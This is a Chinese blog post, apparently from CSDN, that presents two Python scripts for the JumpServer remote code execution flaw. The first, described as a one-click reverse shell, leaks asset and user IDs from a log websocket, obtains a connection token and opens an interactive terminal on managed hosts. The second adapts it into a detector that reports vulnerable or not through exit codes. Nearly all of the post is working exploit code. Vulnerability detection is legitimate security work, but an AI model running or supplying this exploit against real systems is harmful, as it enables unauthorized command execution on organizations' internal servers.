Jumpserver漏洞检测脚本

漏洞详情:https://www.cnblogs.com/w0x68y/p/14340249.html

 

采用的是websocket协议

 

可以先从这儿了解一下websocket  :https://blog.csdn.net/larry_zeng1/article/details/82285265

 

我们先对报文进行抓包:

一键反弹shell 脚本:

import asyncio
import re
import websockets
import json
import os
import asyncio
import aioconsole
import websockets
import requests
import json


url = "/ws/ops/tasks/log/"
url2 = "/api/v1/authentication/connection-token/?user-only=1"



async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
        while True:
            ret = json.loads(await client.recv())
            # print(ret["message"], end="")

            try:
                asset_id=re.findall(r"/?asset_id=.*/", ret["message"])[0]

                if len(asset_id) > 0:
                    asset_id = re.findall(r"/?asset_id=.*/", asset_id)[0]

                    if "asset_id" in asset_id and "system_user_id" in asset_id and "user_id" in asset_id:
                        asset_id=asset_id.split("&")
                        real_user_id=""
                        real_system_user_id=""
                        real_asset_id=""
                        for i in range(len(asset_id)):
                            if "asset_id=" in asset_id[i]:
                                real_asset_id=asset_id[i].replace("asset_id=","")
                            if "system_user_id=" in asset_id[i]:
                                real_system_user_id=asset_id[i].replace("system_user_id=","")
                            if "HTTP" in asset_id[i]:
                                real_user_id=asset_id[i].replace("user_id=","").replace(" HTTP/","")

                        if real_asset_id!="" and real_system_user_id!="" and real_asset_id!="":
                            print(real_asset_id,real_system_user_id,real_user_id)
                            global data
                            data = {
                                "user": real_user_id,
                                "asset": real_asset_id,
                                "system_user": real_system_user_id,
                            }
                            return (data)
                            break

            except:pass





def get_celery_task_log_path(task_id):
    task_id = str(task_id)
    rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
    path = os.path.join("/opt/jumpserver/", rel_path)
    return path


async def send_msg(websocket, _text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False
    await websocket.send(_text)


async def send_loop(ws, session_id):
    while True:
        cmdline = await aioconsole.ainput()
        await send_msg(
            ws,
            json.dumps(
                {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
            ),
        )


async def recv_loop(ws):
    while True:
        recv_text = await ws.recv()
        ret = json.loads(recv_text)
        if ret.get("type", "TERMINAL_DATA"):
            await aioconsole.aprint(ret["data"], end="")


# 客户端主逻辑
async def main_logic2():
    print("#######start ws")
    async with websockets.connect(target2) as client:
        recv_text = await client.recv()
        print(f"{recv_text}")
        session_id = json.loads(recv_text)["id"]
        print("get ws id:" + session_id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps(
            {
                "id": session_id,
                "type": "TERMINAL_INIT",
                "data": '{"cols":164,"rows":17}',
            }
        )
        await send_msg(client, inittext)
        await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
   
    #这儿输入测试地址
    host = "http://xx.xx.xx.xx"
    cmd = "who"
    if host[-1] == "/":
        host = host[:-1]
    target = host.replace("https://", "wss://").replace("http://", "ws://") + url
    asyncio.get_event_loop().run_until_complete(main_logic(target))
    print(host + url2)
    print(data)
    res = requests.post(host + url2, json=data)

    token = res.json()["token"]
    print("token:%s", (token,))
    print("##################")
    target2 = (
            "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
    )
    print("target ws:%s" % (target2,))
    asyncio.get_event_loop().run_until_complete(main_logic2())

 

 

改后的检测脚本:

import asyncio
from datetime import datetime
import re
import sys
import websockets
import json
import os
import asyncio
import aioconsole
import websockets
import requests
import json

url = "/ws/ops/tasks/log/"
url2 = "/api/v1/authentication/connection-token/?user-only=1"

async def main_logic(t):
    print("#######start ws")
    async with websockets.connect(t) as client:
        await client.send(json.dumps({"task":"/opt/jumpserver/logs/gunicorn"}))
        start_time = datetime.now()
        while True:
            ret = json.loads(await client.recv())
            # print(ret["message"], end="")
            try:
                asset_id=re.findall(r"/?asset_id=.*/", ret["message"])[0]
                time_delta = datetime.now() - start_time
                if time_delta.total_seconds() >= 15:
                    print("the jumpserver no rce 202002 vuln")
                    break
                if len(asset_id) > 0:
                    asset_id = re.findall(r"/?asset_id=.*/", asset_id)[0]

                    if "asset_id" in asset_id and "system_user_id" in asset_id and "user_id" in asset_id:
                        asset_id=asset_id.split("&")
                        real_user_id=""
                        real_system_user_id=""
                        real_asset_id=""
                        for i in range(len(asset_id)):
                            if "asset_id=" in asset_id[i]:
                                real_asset_id=asset_id[i].replace("asset_id=","")
                            if "system_user_id=" in asset_id[i]:
                                real_system_user_id=asset_id[i].replace("system_user_id=","")
                            if "HTTP" in asset_id[i]:
                                real_user_id=asset_id[i].replace("user_id=","").replace(" HTTP/","")

                        if real_asset_id!="" and real_system_user_id!="" and real_asset_id!="":
                            print(real_asset_id,real_system_user_id,real_user_id)
                            global data
                            data = {
                                "user": real_user_id,
                                "asset": real_asset_id,
                                "system_user": real_system_user_id,
                            }
                            return (data)
                            break

            except:pass





def get_celery_task_log_path(task_id):
    task_id = str(task_id)
    rel_path = os.path.join(task_id[0], task_id[1], task_id + ".log")
    path = os.path.join("/opt/jumpserver/", rel_path)
    return path


async def send_msg(websocket, _text):
    if _text == "exit":
        print(f'you have enter "exit", goodbye')
        await websocket.close(reason="user exit")
        return False

    await websocket.send(_text)


async def send_loop(ws, session_id):
    start_time = datetime.now()
    while True:
        cmdline = await aioconsole.ainput()
        time_delta = datetime.now() - start_time
        if time_delta.total_seconds() >= 15:
            print("the jumpserver no rce 202002 vuln")
            break
        await send_msg(
            ws,
            json.dumps(
                {"id": session_id, "type": "TERMINAL_DATA", "data": cmdline + "\n"}
            ),

        )
    sys.exit("1")




async def recv_loop(ws):
    start_time = datetime.now()
    while True:
        recv_text = await ws.recv()
        ret = json.loads(recv_text)
        time_delta = datetime.now() - start_time

        if time_delta.total_seconds() >= 15:
            print("the jumpserver no rce 202002 vuln")
            flag="0"
            break

        if "Last login" in ret["data"]:
            print("the jumpserver have rce 202002 vuln")
            flag="1"
            break
    if flag=="1":
        sys.exit("99")
    else:
        sys.exit("1")




# 客户端主逻辑
async def main_logic2():
    print("#######start ws")
    async with websockets.connect(target2) as client:
        recv_text = await client.recv()
        print(f"{recv_text}")
        session_id = json.loads(recv_text)["id"]
        print("get ws id:" + session_id)
        print("###############")
        print("init ws")
        print("###############")
        inittext = json.dumps(
            {
                "id": session_id,
                "type": "TERMINAL_INIT",
                "data": '{"cols":164,"rows":17}',
            }
        )
        await send_msg(client, inittext)
        await asyncio.gather(recv_loop(client), send_loop(client, session_id))


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("usag:python jumpserver_rce.py http://192.168.xx.xx")
    else:
        # global data
        # data = {}
        global flag
        flag=0
        host = sys.argv[1]
        if host[-1] == "/":
            host = host[:-1]
        target = host.replace("https://", "wss://").replace("http://", "ws://") + url
        asyncio.get_event_loop().run_until_complete(main_logic(target))
        print(host + url2)
        print(data)
        res = requests.post(host + url2, json=data)

        token = res.json()["token"]
        print("token:%s", (token,))
        print("##################")
        target2 = (
                "ws://" + host.replace("http://", "") + "/koko/ws/token/?target_id=" + token
        )
        print("target ws:%s" % (target2,))
        try:
            asyncio.get_event_loop().run_until_complete(main_logic2())
        except:
            print("the jumpserver no rce 202002 vuln")
            sys.exit("1")

 

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ATOM_123

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值